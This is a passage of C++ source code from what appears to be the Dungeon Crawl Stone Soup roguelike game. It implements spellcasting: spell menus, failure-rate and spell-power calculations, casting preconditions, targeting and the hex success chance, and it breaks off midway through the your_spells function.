#include "item-use.h"
#include "libutil.h"
#include "macro.h"
#include "menu.h"
#include "message.h"
#include "misc.h"
#include "mon-behv.h"
#include "mon-cast.h"
#include "mon-place.h"
#include "mon-project.h"
#include "mon-util.h"
#include "mutation.h"
#include "options.h"
#include "ouch.h"
#include "output.h"
#include "player.h"
#include "prompt.h"
#include "religion.h"
#include "shout.h"
#include "skills.h"
#include "spl-book.h"
#include "spl-clouds.h"
#include "spl-damage.h"
#include "spl-goditem.h"
#include "spl-miscast.h"
#include "spl-monench.h"
#include "spl-other.h"
#include "spl-selfench.h"
#include "spl-summoning.h"
#include "spl-transloc.h"
#include "spl-wpnench.h"
#include "spl-zap.h"
#include "state.h"
#include "stepdown.h"
#include "stringutil.h"
#include "target.h"
#include "terrain.h"
#include "tilepick.h"
#include "transform.h"
#include "unicode.h"
#include "unwind.h"
#include "view.h"
#include "viewchar.h" // stringize_glyph
static int _spell_enhancement(spell_type spell);
static string _spell_failure_rate_description(spell_type spell);
#if TAG_MAJOR_VERSION == 34
void surge_power(const int enhanced)
{
if (enhanced) // one way or the other {dlb}
{
const string modifier = (enhanced < -2) ? "extraordinarily" :
(enhanced == -2) ? "extremely" :
(enhanced == 2) ? "strong" :
(enhanced > 2) ? "huge"
: "";
mprf("You feel %s %s",
!modifier.length() ? "a"
: article_a(modifier).c_str(),
(enhanced < 0) ? "numb sensation."
: "surge of power!");
}
}
void surge_power_wand(const int mp_cost)
{
if (mp_cost)
{
const bool slight = mp_cost < 3;
mprf("You feel a %ssurge of power%s",
slight ? "slight " : "",
slight ? "." : "!");
}
}
#endif
static string _spell_base_description(spell_type spell, bool viewing)
{
ostringstream desc;
int highlight = spell_highlight_by_utility(spell, COL_UNKNOWN, !viewing);
desc << "<" << colour_to_str(highlight) << ">" << left;
// spell name
desc << chop_string(spell_title(spell), 30);
// spell schools
desc << spell_schools_string(spell);
const int so_far = strwidth(desc.str()) - (strwidth(colour_to_str(highlight))+2);
if (so_far < 60)
desc << string(60 - so_far, ' ');
desc << "</" << colour_to_str(highlight) <<">";
// spell fail rate, level
const string failure_rate = spell_failure_rate_string(spell);
const int width = strwidth(formatted_string::parse_string(failure_rate).tostring());
desc << failure_rate << string(12-width, ' ');
desc << spell_difficulty(spell);
desc << " ";
return desc.str();
}
static string _spell_extra_description(spell_type spell, bool viewing)
{
ostringstream desc;
int highlight = spell_highlight_by_utility(spell, COL_UNKNOWN, !viewing);
desc << "<" << colour_to_str(highlight) << ">" << left;
// spell name
desc << chop_string(spell_title(spell), 30);
// spell power, spell range, noise
const string rangestring = spell_range_string(spell);
desc << chop_string(spell_power_string(spell), 13)
<< chop_string(rangestring, 9)
<< chop_string(spell_noise_string(spell, 10), 14);
desc << "</" << colour_to_str(highlight) <<">";
return desc.str();
}
// selector is a boolean function that filters spells according
// to certain criteria. Currently used for Tiles to distinguish
// spells targeted on player vs. spells targeted on monsters.
int list_spells(bool toggle_with_I, bool viewing, bool allow_preselect,
const string &title, spell_selector selector)
{
if (toggle_with_I && get_spell_by_letter('I') != SPELL_NO_SPELL)
toggle_with_I = false;
ToggleableMenu spell_menu(MF_SINGLESELECT | MF_ANYPRINTABLE
| MF_NO_WRAP_ROWS | MF_ALWAYS_SHOW_MORE | MF_ALLOW_FORMATTING);
string titlestring = make_stringf("%-25.25s", title.c_str());
{
ToggleableMenuEntry* me =
new ToggleableMenuEntry(
titlestring + " Type Failure Level",
titlestring + " Power Range Noise ",
MEL_TITLE);
spell_menu.set_title(me, true, true);
}
spell_menu.set_highlighter(nullptr);
spell_menu.set_tag("spell");
spell_menu.add_toggle_key('!');
string more_str = "Press '<w>!</w>' ";
if (toggle_with_I)
{
spell_menu.add_toggle_key('I');
more_str += "or '<w>I</w>' ";
}
if (!viewing)
spell_menu.menu_action = Menu::ACT_EXECUTE;
more_str += "to toggle spell view.";
spell_menu.set_more(formatted_string::parse_string(more_str));
// If there's only a single spell in the offered spell list,
// taking the selector function into account, preselect that one.
bool preselect_first = false;
if (allow_preselect)
{
int count = 0;
if (you.spell_no == 1)
count = 1;
else if (selector)
{
for (int i = 0; i < 52; ++i)
{
const char letter = index_to_letter(i);
const spell_type spell = get_spell_by_letter(letter);
if (!is_valid_spell(spell) || !(*selector)(spell))
continue;
// Break out early if we've got > 1 spells.
if (++count > 1)
break;
}
}
// Preselect the first spell if it's only spell applicable.
preselect_first = (count == 1);
}
if (allow_preselect || preselect_first
&& you.last_cast_spell != SPELL_NO_SPELL)
{
spell_menu.set_flags(spell_menu.get_flags() | MF_PRESELECTED);
}
for (int i = 0; i < 52; ++i)
{
const char letter = index_to_letter(i);
const spell_type spell = get_spell_by_letter(letter);
if (!is_valid_spell(spell))
continue;
if (selector && !(*selector)(spell))
continue;
bool preselect = (preselect_first
|| allow_preselect && you.last_cast_spell == spell);
ToggleableMenuEntry* me =
new ToggleableMenuEntry(_spell_base_description(spell, viewing),
_spell_extra_description(spell, viewing),
MEL_ITEM, 1, letter, preselect);
me->add_tile(tile_def(tileidx_spell(spell)));
spell_menu.add_entry(me);
}
int choice = 0;
spell_menu.on_single_selection = [&choice, &spell_menu](const MenuEntry& item)
{
ASSERT(item.hotkeys.size() == 1);
if (spell_menu.menu_action == Menu::ACT_EXAMINE)
{
describe_spell(get_spell_by_letter(item.hotkeys[0]), nullptr);
return true;
}
else
{
choice = item.hotkeys[0];
return false;
}
};
spell_menu.show();
if (!crawl_state.doing_prev_cmd_again)
{
redraw_screen();
update_screen();
}
return choice;
}
static int _apply_spellcasting_success_boosts(spell_type spell, int chance)
{
int fail_reduce = 100;
if (have_passive(passive_t::spells_success) && vehumet_supports_spell(spell))
{
// [dshaligram] Fail rate multiplier used to be .5, scaled
// back to 67%.
fail_reduce = fail_reduce * 2 / 3;
}
const int wizardry = player_wizardry(spell);
if (wizardry > 0)
fail_reduce = fail_reduce * 6 / (7 + wizardry);
// Hard cap on fail rate reduction.
if (fail_reduce < 50)
fail_reduce = 50;
return chance * fail_reduce / 100;
}
/**
* Calculate the player's failure rate with the given spell, including all
* modifiers. (Armour, mutations, statuses effects, etc.)
*
* @param spell The spell in question.
* @return A failure rate. This is *not* a percentage - for a human-
* readable version, call _get_true_fail_rate().
*/
int raw_spell_fail(spell_type spell)
{
int chance = 60;
// Don't cap power for failure rate purposes.
// scale by 6, which I guess was chosen because it seems to work.
// realistic range for spellpower: -6 to -366 (before scale -1 to -61)
chance -= calc_spell_power(spell, false, true, false, 6);
chance -= (you.intel() * 2); // realistic range: -2 to -70
const int armour_shield_penalty = player_armour_shield_spell_penalty();
dprf("Armour+Shield spell failure penalty: %d", armour_shield_penalty);
chance += armour_shield_penalty; // range: 0 to 500 in extreme cases.
// A midlevel melee character in plate
// might have 40 or 50, and a caster in a
// robe would usually have 0.
static const int difficulty_by_level[] =
{
0,
3,
15,
35,
70,
100,
150,
200,
260,
340,
};
const int spell_level = spell_difficulty(spell);
ASSERT_RANGE(spell_level, 0, (int) ARRAYSZ(difficulty_by_level));
chance += difficulty_by_level[spell_level]; // between 0 and 330
// since chance is passed through a 3rd degree polynomial, cap the
// value to avoid any overflow issues. We choose 210 by solving for chance2
// = 200 in the polynomial -- it gets capped at 100 ultimately, but we
// need a bunch of headroom in case some later calculations lower the value
// below 100 after this.
chance = min(chance, 210);
// This polynomial is a smoother approximation of a breakpoint-based
// calculation that originates pre-DCSS, mapping `chance` at this point to
// values from around 0 to around 45. (see
// https://crawl.develz.org/tavern/viewtopic.php?f=8&t=23414 for some of
// the history.) It was calculated by |amethyst (based on one from minmay
// in that thread) and converted to integer values using 262144 as a
// convenient power of 2 denominator, then converted to its current form
// by Horner's rule, and then tweaked slightly.
//
// The regular (integer) polynomial form before Horner's rule is:
// (x*x*x + 426*x*x + 82670*x + 7245398) / 262144
//
// https://www.wolframalpha.com/input/?i=graph+of+y%3D(((x+%2B+426)*x+%2B+82670)*x+%2B+7245398)+%2F+262144+and+y%3D100+and+x%3D125.1+with+x+from+-192+to+126.1
//
// If you think this is weird, you should see what was here before.
int chance2 = max((((chance + 426) * chance + 82670) * chance + 7245398)
/ 262144, 0);
chance2 += get_form()->spellcasting_penalty;
if (you.duration[DUR_EXCRUCIATING_WOUNDS])
chance2 += 10; // same as spider form
chance2 -= 2 * you.get_mutation_level(MUT_SUBDUED_MAGIC);
chance2 += 4 * you.get_mutation_level(MUT_WILD_MAGIC);
chance2 += 4 * you.get_mutation_level(MUT_ANTI_WIZARDRY);
if (you.props.exists(SAP_MAGIC_KEY))
chance2 += you.props[SAP_MAGIC_KEY].get_int() * 12;
chance2 += you.duration[DUR_VERTIGO] ? 7 : 0;
// Apply the effects of Vehumet and items of wizardry.
chance2 = _apply_spellcasting_success_boosts(spell, chance2);
return min(max(chance2, 0), 100);
}
/*
* Given some spellpower in centis, do a stepdown at around 50 (5000 in centis)
* and return a rescaled value.
*
* @param power the input spellpower in centis.
* @param scale a value to scale the result by, between 1 and 1000. Default is
* 1, which returns a regular spellpower. 1000 gives you millis, 100
* centis.
*/
int stepdown_spellpower(int power, int scale)
{
// use millis internally
ASSERT_RANGE(scale, 1, 1000);
const int divisor = 1000 / scale;
int result = stepdown_value(power * 10, 50000, 50000, 150000, 200000)
/ divisor;
return result;
}
/*
* Calculate spell power.
*
* @param spell the spell to check
* @param apply_intel whether to include intelligence in the calculation
* @param fail_rate_check is this just a plain failure rate check or should it
* incorporate situational facts and mutations?
* @param cap_power whether to apply the power cap for the spell (from
* `spell_power_cap(spell)`)
* @param scale what scale to apply to the result internally? This
* function has higher internal resolution than the default
* argument, so use this rather than dividing. This must be
* between 1 and 1000.
*
* @return the resulting spell power.
*/
int calc_spell_power(spell_type spell, bool apply_intel, bool fail_rate_check,
bool cap_power, int scale)
{
int power = 0;
const spschools_type disciplines = get_spell_disciplines(spell);
int skillcount = count_bits(disciplines);
if (skillcount)
{
for (const auto bit : spschools_type::range())
if (disciplines & bit)
power += you.skill(spell_type2skill(bit), 200);
power /= skillcount;
}
power += you.skill(SK_SPELLCASTING, 50);
if (you.divine_exegesis)
power += you.skill(SK_INVOCATIONS, 300);
if (fail_rate_check)
{
// Scale appropriately.
// The stepdown performs this step in the else block.
power *= scale;
power /= 100;
}
else
{
if (apply_intel)
power = (power * you.intel()) / 10;
// [dshaligram] Enhancers don't affect fail rates any more, only spell
// power. Note that this does not affect Vehumet's boost in castability.
power = apply_enhancement(power, _spell_enhancement(spell));
// Wild magic boosts spell power but decreases success rate.
power *= (10 + 3 * you.get_mutation_level(MUT_WILD_MAGIC));
power /= (10 + 3 * you.get_mutation_level(MUT_SUBDUED_MAGIC));
// Augmentation boosts spell power at high HP.
power *= 10 + 4 * augmentation_amount();
power /= 10;
// Each level of horror reduces spellpower by 10%
if (you.duration[DUR_HORROR])
{
power *= 10;
power /= 10 + (you.props[HORROR_PENALTY_KEY].get_int() * 3) / 2;
}
// at this point, `power` is assumed to be basically in centis.
// apply a stepdown, and scale.
power = stepdown_spellpower(power, scale);
}
const int cap = spell_power_cap(spell);
if (cap > 0 && cap_power)
power = min(power, cap * scale);
return power;
}
static int _spell_enhancement(spell_type spell)
{
const spschools_type typeflags = get_spell_disciplines(spell);
int enhanced = 0;
if (typeflags & spschool::conjuration)
enhanced += player_spec_conj();
if (typeflags & spschool::hexes)
enhanced += player_spec_hex();
if (typeflags & spschool::summoning)
enhanced += player_spec_summ();
if (typeflags & spschool::poison)
enhanced += player_spec_poison();
if (typeflags & spschool::necromancy)
enhanced += player_spec_death();
if (typeflags & spschool::fire)
enhanced += player_spec_fire();
if (typeflags & spschool::ice)
enhanced += player_spec_cold();
if (typeflags & spschool::earth)
enhanced += player_spec_earth();
if (typeflags & spschool::air)
enhanced += player_spec_air();
if (you.wearing_ego(EQ_CLOAK, SPARM_SHADOWS))
enhanced -= 1;
if (you.form == transformation::shadow)
enhanced -= 2;
enhanced += you.archmagi();
enhanced += player_equip_unrand(UNRAND_MAJIN);
enhanced += you.duration[DUR_BRILLIANCE] > 0;
// These are used in an exponential way, so we'll limit them a bit. -- bwr
if (enhanced > 3)
enhanced = 3;
else if (enhanced < -3)
enhanced = -3;
return enhanced;
}
/**
* Apply the effects of spell enhancers (and de-enhancers) on spellpower.
*
* @param initial_power The power of the spell before enhancers are added.
* @param enhancer_levels The number of enhancements levels to apply.
* @return The power of the spell with enhancers considered.
*/
int apply_enhancement(const int initial_power, const int enhancer_levels)
{
int power = initial_power;
if (enhancer_levels > 0)
{
for (int i = 0; i < enhancer_levels; i++)
{
power *= 15;
power /= 10;
}
}
else if (enhancer_levels < 0)
{
for (int i = enhancer_levels; i < 0; i++)
power /= 2;
}
return power;
}
void inspect_spells()
{
if (!you.spell_no)
{
canned_msg(MSG_NO_SPELLS);
return;
}
list_spells(true, true);
}
/**
* Can the player cast any spell at all? Checks for things that limit
* spellcasting regardless of the specific spell we want to cast.
*
* @param quiet If true, don't print a reason why no spell can be cast.
* @param exegesis If true, we're considering casting under Divine Exegesis.
* @return True if we could cast a spell, false otherwise.
*/
bool can_cast_spells(bool quiet, bool exegesis)
{
if (!get_form()->can_cast)
{
if (!quiet)
canned_msg(MSG_PRESENT_FORM);
return false;
}
if (you.duration[DUR_WATER_HOLD] && !you.res_water_drowning())
{
if (!quiet)
mpr("You cannot cast spells while unable to breathe!");
return false;
}
if (you.duration[DUR_BRAINLESS])
{
if (!quiet)
mpr("You lack the mental capacity to cast spells.");
return false;
}
// Randart weapons.
if (you.no_cast())
{
if (!quiet)
mpr("Something interferes with your magic!");
return false;
}
// Check that we have a spell memorised. Divine Exegesis does not need this
// condition, but we can't just check you.divine_exegesis in all cases, as
// it may not be set yet. Check a passed parameter instead.
if (!exegesis && !you.spell_no)
{
if (!quiet)
canned_msg(MSG_NO_SPELLS);
return false;
}
if (you.berserk())
{
if (!quiet)
canned_msg(MSG_TOO_BERSERK);
return false;
}
if (you.confused())
{
if (!quiet)
mpr("You're too confused to cast spells.");
return false;
}
if (silenced(you.pos()))
{
if (!quiet)
mpr("You cannot cast spells when silenced!");
// included in default force_more_message
return false;
}
return true;
}
void do_cast_spell_cmd(bool force)
{
if (!cast_a_spell(!force))
flush_input_buffer(FLUSH_ON_FAILURE);
}
/**
* Cast a spell.
*
* Handles general preconditions & costs.
*
* @param check_range If true, abort if no targets are in range. (z vs Z)
* @param spell The type of spell to be cast.
* @return Whether the spell was successfully cast.
**/
bool cast_a_spell(bool check_range, spell_type spell)
{
if (!can_cast_spells(false, you.divine_exegesis))
{
crawl_state.zero_turns_taken();
return false;
}
if (crawl_state.game_is_hints())
Hints.hints_spell_counter++;
if (spell == SPELL_NO_SPELL)
{
int keyin = 0;
string luachoice;
if (!clua.callfn("c_choose_spell", ">s", &luachoice))
{
if (!clua.error.empty())
mprf(MSGCH_ERROR, "Lua error: %s", clua.error.c_str());
}
else if (!luachoice.empty() && isalpha(luachoice[0]))
{
keyin = luachoice[0];
const spell_type spl = get_spell_by_letter(keyin);
// Bad entry from lua, defer to the user
if (!is_valid_spell(spl))
keyin = 0;
}
while (true)
{
#ifdef TOUCH_UI
keyin = list_spells(true, false);
if (!keyin)
keyin = ESCAPE;
if (!crawl_state.doing_prev_cmd_again)
{
redraw_screen();
update_screen();
}
if (isaalpha(keyin) || key_is_escape(keyin))
break;
else
clear_messages();
keyin = 0;
#else
if (keyin == 0)
{
if (you.spell_no == 1)
{
// Set last_cast_spell to the current only spell.
for (int i = 0; i < 52; ++i)
{
const char letter = index_to_letter(i);
const spell_type spl = get_spell_by_letter(letter);
if (!is_valid_spell(spl))
continue;
you.last_cast_spell = spl;
break;
}
}
// We allow setting last cast spell by Divine Exegesis, but we
// don't allow recasting it with the UI unless we actually have
// the spell memorized.
if (you.last_cast_spell != SPELL_NO_SPELL
&& !you.has_spell(you.last_cast_spell))
{
you.last_cast_spell = SPELL_NO_SPELL;
}
if (you.last_cast_spell == SPELL_NO_SPELL
|| !Options.enable_recast_spell)
{
mprf(MSGCH_PROMPT, "Cast which spell? (? or * to list) ");
}
else
{
mprf(MSGCH_PROMPT, "Casting: <w>%s</w> <lightgrey>(%s)</lightgrey>",
spell_title(you.last_cast_spell),
_spell_failure_rate_description(you.last_cast_spell).c_str());
mprf(MSGCH_PROMPT, "Confirm with . or Enter, or press "
"? or * to list all spells.");
}
keyin = get_ch();
}
if (keyin == '?' || keyin == '*')
{
keyin = list_spells(true, false);
if (!keyin)
keyin = ESCAPE;
if (!crawl_state.doing_prev_cmd_again)
{
redraw_screen();
update_screen();
}
if (isaalpha(keyin) || key_is_escape(keyin))
break;
else
clear_messages();
keyin = 0;
}
else
break;
#endif
}
if (key_is_escape(keyin))
{
canned_msg(MSG_OK);
crawl_state.zero_turns_taken();
return false;
}
else if (Options.enable_recast_spell
&& (keyin == '.' || keyin == CK_ENTER))
{
spell = you.last_cast_spell;
}
else if (!isaalpha(keyin))
{
mpr("You don't know that spell.");
crawl_state.zero_turns_taken();
return false;
}
else
spell = get_spell_by_letter(keyin);
}
if (spell == SPELL_NO_SPELL)
{
mpr("You don't know that spell.");
crawl_state.zero_turns_taken();
return false;
}
int cost = spell_mana(spell);
if (!enough_mp(cost, true))
{
mpr("You don't have enough magic to cast that spell.");
crawl_state.zero_turns_taken();
return false;
}
if (check_range && spell_no_hostile_in_range(spell))
{
// Abort if there are no hostiles within range, but flash the range
// markers for a short while.
mpr("You can't see any susceptible monsters within range! "
"(Use <w>Z</w> to cast anyway.)");
if ((Options.use_animations & UA_RANGE) && Options.darken_beyond_range)
{
targeter_smite range(&you, calc_spell_range(spell), 0, 0, true);
range_view_annotator show_range(&range);
delay(50);
}
crawl_state.zero_turns_taken();
return false;
}
// This needs more work: there are spells which are hated but allowed if
// they don't have a certain effect. You may use Poison Arrow on those
// immune, use Mephitic Cloud to shield yourself from other clouds, and
// thus we don't prompt for them. It would be nice to prompt for them
// during the targeting phase, perhaps.
if (god_punishes_spell(spell, you.religion)
&& !crawl_state.disables[DIS_CONFIRMATIONS])
{
// None currently dock just piety, right?
if (!yesno(god_loathes_spell(spell, you.religion) ?
"Casting this spell will cause instant excommunication! "
"Really cast?" :
"Casting this spell will place you under penance. Really cast?",
true, 'n'))
{
canned_msg(MSG_OK);
crawl_state.zero_turns_taken();
return false;
}
}
you.last_cast_spell = spell;
// Silently take MP before the spell.
dec_mp(cost, true);
const spret cast_result = your_spells(spell, 0, !you.divine_exegesis,
nullptr);
if (cast_result == spret::abort)
{
crawl_state.zero_turns_taken();
// Return the MP since the spell is aborted.
inc_mp(cost, true);
redraw_screen();
update_screen();
return false;
}
practise_casting(spell, cast_result == spret::success);
if (cast_result == spret::success)
{
did_god_conduct(DID_SPELL_CASTING, 1 + random2(5));
count_action(CACT_CAST, spell);
}
flush_mp();
you.turn_is_over = true;
alert_nearby_monsters();
return true;
}
/**
* Handles divine response to spellcasting.
*
* @param spell The type of spell just cast.
*/
static void _spellcasting_god_conduct(spell_type spell)
{
// If you are casting while a god is acting, then don't do conducts.
// (Presumably Xom is forcing you to cast a spell.)
if (crawl_state.is_god_acting())
return;
const int conduct_level = 10 + spell_difficulty(spell);
if (is_evil_spell(spell) || you.spellcasting_unholy())
did_god_conduct(DID_EVIL, conduct_level);
if (is_unclean_spell(spell))
did_god_conduct(DID_UNCLEAN, conduct_level);
if (is_chaotic_spell(spell))
did_god_conduct(DID_CHAOS, conduct_level);
// not is_hasty_spell since the other ones handle the conduct themselves.
if (spell == SPELL_SWIFTNESS)
did_god_conduct(DID_HASTY, conduct_level);
if (spell == SPELL_SUBLIMATION_OF_BLOOD)
did_god_conduct(DID_CHANNEL, conduct_level);
if (god_loathes_spell(spell, you.religion))
excommunication();
}
/**
* Let the Majin-Bo congratulate you on casting a spell while using it.
*
* @param spell The spell just successfully cast.
*/
static void _majin_speak(spell_type spell)
{
// since this isn't obviously mental communication, let it be silenced
if (silenced(you.pos()))
return;
const int level = spell_difficulty(spell);
const bool weak = level <= 4;
const string lookup = weak ? "majin-bo cast weak" : "majin-bo cast";
const string msg = "A voice whispers, \"" + getSpeakString(lookup) + "\"";
mprf(MSGCH_TALK, "%s", msg.c_str());
}
/**
* Handles side effects of successfully casting a spell.
*
* Spell noise, magic 'sap' effects, and god conducts.
*
* @param spell The type of spell just cast.
* @param god Which god is casting the spell; NO_GOD if it's you.
* @param fake_spell true if the spell is evoked or from an innate or divine ability
* false if it is a spell being cast normally.
*/
static void _spellcasting_side_effects(spell_type spell, god_type god,
bool fake_spell)
{
_spellcasting_god_conduct(spell);
if (god == GOD_NO_GOD)
{
// Casting pain costs 1 hp.
// Deep Dwarves' damage reduction always blocks at least 1 hp.
if (spell == SPELL_PAIN
&& (you.species != SP_DEEP_DWARF && !player_res_torment()))
{
dec_hp(1, false);
}
if (you.duration[DUR_SAP_MAGIC]
&& you.props[SAP_MAGIC_KEY].get_int() < 3
&& !fake_spell && coinflip())
{
mprf(MSGCH_WARN, "Your control over your magic is sapped.");
you.props[SAP_MAGIC_KEY].get_int()++;
}
// Make some noise if it's actually the player casting.
noisy(spell_noise(spell), you.pos());
if (!fake_spell && player_equip_unrand(UNRAND_MAJIN))
{
// never kill the player (directly)
int hp_cost = min(spell_mana(spell), you.hp - 1);
ouch(hp_cost, KILLED_BY_SOMETHING, MID_NOBODY, "the Majin-Bo");
if (one_chance_in(500))
_majin_speak(spell);
}
}
alert_nearby_monsters();
}
#ifdef WIZARD
static void _try_monster_cast(spell_type spell, int /*powc*/,
dist &spd, bolt &beam)
{
if (monster_at(you.pos()))
{
mpr("Couldn't try casting monster spell because you're "
"on top of a monster.");
return;
}
monster* mon = get_free_monster();
if (!mon)
{
mpr("Couldn't try casting monster spell because there is "
"no empty monster slot.");
return;
}
mpr("Invalid player spell, attempting to cast it as monster spell.");
mon->mname = "Dummy Monster";
mon->type = MONS_HUMAN;
mon->behaviour = BEH_SEEK;
mon->attitude = ATT_FRIENDLY;
mon->flags = (MF_NO_REWARD | MF_JUST_SUMMONED | MF_SEEN
| MF_WAS_IN_VIEW | MF_HARD_RESET);
mon->hit_points = you.hp;
mon->set_hit_dice(you.experience_level);
mon->set_position(you.pos());
mon->target = spd.target;
mon->mid = MID_PLAYER;
if (!spd.isTarget)
mon->foe = MHITNOT;
else if (!monster_at(spd.target))
{
if (spd.isMe())
mon->foe = MHITYOU;
else
mon->foe = MHITNOT;
}
else
mon->foe = mgrd(spd.target);
mgrd(you.pos()) = mon->mindex();
mons_cast(mon, beam, spell, MON_SPELL_NO_FLAGS);
mon->reset();
}
#endif // WIZARD
static spret _do_cast(spell_type spell, int powc, const dist& spd,
bolt& beam, god_type god, bool fail);
/**
* Should this spell be aborted before casting properly starts, either because
* it can't legally be cast in this circumstance, or because the player opts
* to cancel it in response to a prompt?
*
* @param spell The spell to be checked
* @param fake_spell true if the spell is evoked or from an innate or divine ability
* false if it is a spell being cast normally.
* @return Whether the spellcasting should be aborted.
*/
static bool _spellcasting_aborted(spell_type spell, bool fake_spell)
{
string msg;
{
// FIXME: we might be called in a situation ([a]bilities, Xom) that
// isn't evoked but still doesn't use the spell's MP. your_spells,
// this function, and spell_uselessness_reason should take a flag
// indicating whether MP should be checked (or should never check).
const int rest_mp = fake_spell ? 0 : spell_mana(spell);
// Temporarily restore MP so that we're not uncastable for lack of MP.
unwind_var<int> fake_mp(you.magic_points, you.magic_points + rest_mp);
msg = spell_uselessness_reason(spell, true, true, fake_spell);
}
if (!msg.empty())
{
mpr(msg);
return true;
}
vector<text_pattern> &actions = Options.confirm_action;
if (!actions.empty())
{
const char* name = spell_title(spell);
for (const text_pattern &action : actions)
{
if (!action.matches(name))
continue;
string prompt = "Really cast " + string(name) + "?";
if (!yesno(prompt.c_str(), false, 'n'))
{
canned_msg(MSG_OK);
return true;
}
break;
}
}
const int severity = fail_severity(spell);
const string failure_rate = spell_failure_rate_string(spell);
if (Options.fail_severity_to_confirm > 0
&& Options.fail_severity_to_confirm <= severity
&& !crawl_state.disables[DIS_CONFIRMATIONS]
&& !fake_spell)
{
if (failure_rate_to_int(raw_spell_fail(spell)) == 100)
{
mprf(MSGCH_WARN, "It is impossible to cast this spell "
"(100%% risk of failure)!");
return true;
}
string prompt = make_stringf("The spell is %s to cast "
"(%s risk of failure)%s",
fail_severity_adjs[severity],
failure_rate.c_str(),
severity > 1 ? "!" : ".");
prompt = make_stringf("%s Continue anyway?", prompt.c_str());
if (!yesno(prompt.c_str(), false, 'n'))
{
canned_msg(MSG_OK);
return true;
}
}
return false;
}
static unique_ptr<targeter> _spell_targeter(spell_type spell, int pow,
int range)
{
switch (spell)
{
case SPELL_FIREBALL:
return make_unique<targeter_beam>(&you, range, ZAP_FIREBALL, pow,
1, 1);
case SPELL_ICEBLAST:
return make_unique<targeter_beam>(&you, range, ZAP_ICEBLAST, pow,
1, 1);
case SPELL_HURL_DAMNATION:
return make_unique<targeter_beam>(&you, range, ZAP_DAMNATION, pow,
1, 1);
case SPELL_MEPHITIC_CLOUD:
return make_unique<targeter_beam>(&you, range, ZAP_MEPHITIC, pow,
pow >= 100 ? 1 : 0, 1);
case SPELL_FIRE_STORM:
return make_unique<targeter_smite>(&you, range, 2, pow > 76 ? 3 : 2);
case SPELL_FREEZING_CLOUD:
case SPELL_POISONOUS_CLOUD:
case SPELL_HOLY_BREATH:
return make_unique<targeter_cloud>(&you, range);
case SPELL_THUNDERBOLT:
return make_unique<targeter_thunderbolt>(&you, range,
(you.props.exists(THUNDERBOLT_LAST_KEY)
&& you.props[THUNDERBOLT_LAST_KEY].get_int() + 1 == you.num_turns) ?
you.props[THUNDERBOLT_AIM_KEY].get_coord() : coord_def());
case SPELL_LRD:
return make_unique<targeter_fragment>(&you, pow, range);
case SPELL_FULMINANT_PRISM:
return make_unique<targeter_smite>(&you, range, 0, 2);
case SPELL_GLACIATE:
return make_unique<targeter_cone>(&you, range);
case SPELL_GRAVITAS:
return make_unique<targeter_smite>(&you, range,
gravitas_range(pow),
gravitas_range(pow),
false,
[](const coord_def& p) -> bool {
return you.pos() != p; });
case SPELL_VIOLENT_UNRAVELLING:
return make_unique<targeter_unravelling>(&you, range, pow);
case SPELL_RANDOM_BOLT:
return make_unique<targeter_beam>(&you, range, ZAP_CRYSTAL_BOLT, pow,
0, 0);
case SPELL_INFESTATION:
return make_unique<targeter_smite>(&you, range, 2, 2, false,
[](const coord_def& p) -> bool {
return you.pos() != p; });
case SPELL_PASSWALL:
return make_unique<targeter_passwall>(range);
case SPELL_DIG:
return make_unique<targeter_dig>(range);
default:
break;
}
if (spell_to_zap(spell) != NUM_ZAPS)
{
return make_unique<targeter_beam>(&you, range, spell_to_zap(spell),
pow, 0, 0);
}
return nullptr;
}
// Returns the nth triangular number.
static int _triangular_number(int n)
{
return n * (n+1) / 2;
}
/**
* Compute success chance for MR-checking spells and abilities.
*
* @param mr The magic resistance of the target.
* @param powc The enchantment power.
* @param scale The denominator of the result.
* @param round_up Should the resulting chance be rounded up (true) or
* down (false, the default)?
*
* @return The chance, out of scale, that the enchantment affects the target.
*/
int hex_success_chance(const int mr, int powc, int scale, bool round_up)
{
const int pow = ench_power_stepdown(powc);
const int target = mr + 100 - pow;
const int denom = 101 * 100;
const int adjust = round_up ? denom - 1 : 0;
if (target <= 0)
return scale;
if (target > 200)
return 0;
if (target <= 100)
return (scale * (denom - _triangular_number(target)) + adjust) / denom;
return (scale * _triangular_number(201 - target) + adjust) / denom;
}
// Include success chance in targeter for spells checking monster MR.
vector<string> desc_success_chance(const monster_info& mi, int pow, bool evoked,
targeter* hitfunc)
{
targeter_beam* beam_hitf = dynamic_cast<targeter_beam*>(hitfunc);
vector<string> descs;
const int mr = mi.res_magic();
if (mr == MAG_IMMUNE)
descs.push_back("magic immune");
else if (hitfunc && !hitfunc->affects_monster(mi))
descs.push_back("not susceptible");
// Polymorph has a special effect on ugly things and shapeshifters that
// does not require passing an MR check.
else if (beam_hitf && beam_hitf->beam.flavour == BEAM_POLYMORPH
&& (mi.type == MONS_UGLY_THING || mi.type == MONS_VERY_UGLY_THING
|| mi.is(MB_SHAPESHIFTER)))
{
descs.push_back(make_stringf("will change %s",
mi.is(MB_SHAPESHIFTER) ? "shape"
/* ugly things */ : "colour"));
}
else
{
#if TAG_MAJOR_VERSION == 34
const int adj_pow = evoked ? pakellas_effective_hex_power(pow)
: pow;
#else
UNUSED(evoked);
const int adj_pow = pow;
#endif
const int success = hex_success_chance(mr, adj_pow, 100);
descs.push_back(make_stringf("chance to defeat MR: %d%%", success));
}
return descs;
}
/**
* Targets and fires player-cast spells & spell-like effects.
*
* Not all of these are actually real spells; invocations, decks or misc.
* effects might also land us here.
* Others are currently unused or unimplemented.
*
* @param spell The type of spell being cast.
* @param powc Spellpower.
* @param allow_fail true if it is a spell being cast normally.
* false if the spell is evoked or from an innate or divine ability
*
* @param evoked_item The wand the spell was evoked from if applicable, or
nullptr.
* @return spret::success if spell is successfully cast for purposes of
* exercising, spret::fail otherwise, or spret::abort if the player cancelled
* the casting.
**/
spret your_spells(spell_type spell, int powc, bool allow_fail,
const item_def* const evoked_item)
{
ASSERT(!crawl_state.game_is_arena());
ASSERT(!evoked_item || evoked_item->base_type == OBJ_WANDS);
const bool wiz_cast = (crawl_state.prev_cmd == CMD_WIZARD && !allow_fail);
dist spd;
bolt beam;
beam.origin_spell = spell;
// [dshaligram] Any action that depends on the spellcasting attempt to have
// succeeded must be performed after the switch.
if (!wiz_cast && _spellcasting_aborted(spell, !allow_fail))
return spret::abort;
const spell_flags flags = get_spell_flags(spell);
ASSERT(wiz_cast || !(flags & spflag::testing));
if (!powc)
powc = calc_spell_power(spell, true);
const int range = calc_spell_range(spell, powc, allow_fail);
beam.range = range;
// XXX: This handles only some of the cases where spells need
// targeting. There are others that do their own that will be
// missed by this (and thus will not properly ESC without cost
